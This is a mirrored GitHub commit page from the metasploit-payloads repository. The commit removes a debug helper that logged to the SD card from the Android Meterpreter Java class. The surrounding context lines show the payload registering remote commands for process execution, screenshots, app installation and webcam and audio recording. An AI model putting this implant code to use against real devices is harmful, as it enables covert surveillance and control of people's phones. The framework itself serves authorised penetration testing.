1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00

Remove log text

This commit is contained in:
Islam Nofl 2019-04-02 14:02:30 +02:00 committed by GitHub
parent 28f7832e9b
commit ef2b9fc8d2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -11,11 +11,8 @@ import com.metasploit.meterpreter.stdapi.*;
import com.metasploit.stage.Config;
import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Method;
@ -139,14 +136,12 @@ public class AndroidMeterpreter extends Meterpreter {
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class);
appendLog("WW");
if (context != null) {
// Application
mgr.registerCommand("android_app_list", android_app_list.class);
mgr.registerCommand("android_app_run", android_app_run.class);
mgr.registerCommand("android_app_install", android_app_install.class);
mgr.registerCommand("android_app_uninstall", android_app_uninstall.class);
appendLog("GG");
// Application
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
mgr.registerCommand("webcam_list", webcam_list_android.class);
@ -178,35 +173,4 @@ public class AndroidMeterpreter extends Meterpreter {
}
return getCommandManager().getNewCommands();
}
public void appendLog(String text)
{
File logFile = new File("sdcard/log.file");
if (!logFile.exists())
{
try
{
logFile.createNewFile();
}
catch (IOException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
}
try
{
//BufferedWriter for performance, true to set append to file flag
BufferedWriter buf = new BufferedWriter(new FileWriter(logFile, true));
buf.append(text);
buf.newLine();
buf.close();
}
catch (IOException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}